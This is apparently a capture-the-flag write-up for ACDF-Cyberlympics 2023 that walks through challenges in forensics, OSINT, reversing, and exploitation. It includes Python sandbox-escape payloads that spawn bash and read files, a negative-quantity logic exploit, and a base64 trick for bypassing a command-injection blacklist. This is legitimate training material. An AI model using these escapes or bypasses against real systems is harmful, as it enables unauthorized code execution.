ACDF-Cyberlympics 2023

Binary Exploitation

• Flag Bank

Forensic

• EdenZero
• SabekIntro
• Sabek01

Miscellaneous

• Disc0rd
• Jail Break
• Jail Break 2
• Jail Break 3

OSINT

• Mr. R0b0t
• Mr. R0b0t 2

Reverse Engineering

• 34sy-r3v
• CodeX

WEB

• Demon Slayer

Flag Bank

This was basically an easy one. After runing the binary file i got this

🏦 Welcome to the Flag Bank! To purchase a Flag costs $20000, but your current balance is $10000. Purchase a Test Flag at $3000
[1] Purchase Flag - $20000
[2] Purchase Test Flag - $3000
[3] View current balance

Since i know that there $10000 in balance and i need $20000 to purchase the I did to pick the secode option, i was then prompted with

Number of Test Flags do you need?

so i thought if i endered a positive number let say 3, money will be deducted so i decided to input a negative number -5 insted and my money was increased, so i was able to purcase the flag

EdenZero

We were given a zip file and Zip Password: Cyberlympics2023

Anfter unziping the file i got a file named flagishere.jpg but it wasn’t actually a jpg it was a pdf file

so i did mv flagishere.jpg flagishere.pdf and got a pdf file

next thing i did was

exiftool flagishere.pdf

and i got part of the flag

Next i open up the pdf file

There was nothing like a flag inside, so probably it’s there and i cam’t see it, so i highlted the whole page and copied everything and paste it some where else and got a cipher D9_Hd0c==0D_>bE`>bdN

So decrypting it using ROT47 i got the secode half of the flag

FLAG: acdfCTF{c0mm3nt_buddy_sh0w5_4ll_s0m3t1m35}

SabekIntro

We were just asked How Many Packets were captured

Opening up the pcap file with wireshark, at the botttom right we see the number of packets FLAG: acdfCTF{3322}

Sabek01

For this using the same pcap file At the top bar in wireshark go to

View > Time Display Format > Date and Time of Day

once the seetings have been changed you will see the normal time format in the wireshark, juat copy the time for the first packet whcih is the one at the very top, and the packet at the very last.. Join it and that is the flag

Disc0rd

Here is your discord flag: Welcοme tｏ ｏｕr Ｄіｓｃord server! Ｈｅrｅ＇s ａ lіｔｔｌe ｓeｃrｅｔ ｊｕｓt ｆor ｙｏｕ: tｈerｅｉs ａ hⅰddｅｎ flａｇ ｈiｄｄｅnwｉｔhіｎ ｔhⅰs mｅｓsagｅ. Ｌeｔ'skeep it between ourselves.

Using unicode decode

Flag: acdfCTF{k1sm3t_4nd_b3rry_1s_my_1d0l}

Jail Break

Payload used __import__('os').system('bash')

Flag: acdfCTF{Cyb3rlymp1cs_w4rmup_pyj41l_v3ry_345y_r1ght?}

Jail Break 2

Payload used

damn= ().__class__.__base__.__subclasses__()[59]()

print(damn._module.__builtins__['__import__']('os').popen("cat flag.txt").read())

Flag: acdfCTF{35c4p3_pl4n_1337_w0rk3d_y35!!}

Jail Break 3

Payload gotten from

here Flag: acdfCTF{M45t3r_0f_j41l_br34k3r}

Mr. R0b0t

All i did was just search online for the answer

Flag:acdFCTF{ChurchAvenueSubwayStation}

Mr. R0b0t 2

Doing some reverse image search

Flag: acdfCTF{Coney Island, Brooklyn, New York}

34sy-r3v

I used the strings and grep command to get the flag

strings easyrev | grep CTF

Flag: acdfCTF{5tr1ngs_b1n4ry_t0_g3t_fl4g}

CodeX

strings recipe

So i juste decided to right that out backwards Flag: acdCFTF{Th3_p3rf3ct_r3c1p3_for_3t3rn1ty_l1f3}

Demon slayer

This challenge is based on Command injection but we need to bypass the black list

Firstly ecode your command in base64

Flag: acdfCTF{bl4ckl15t3d_c0mmand_3xpung3r5}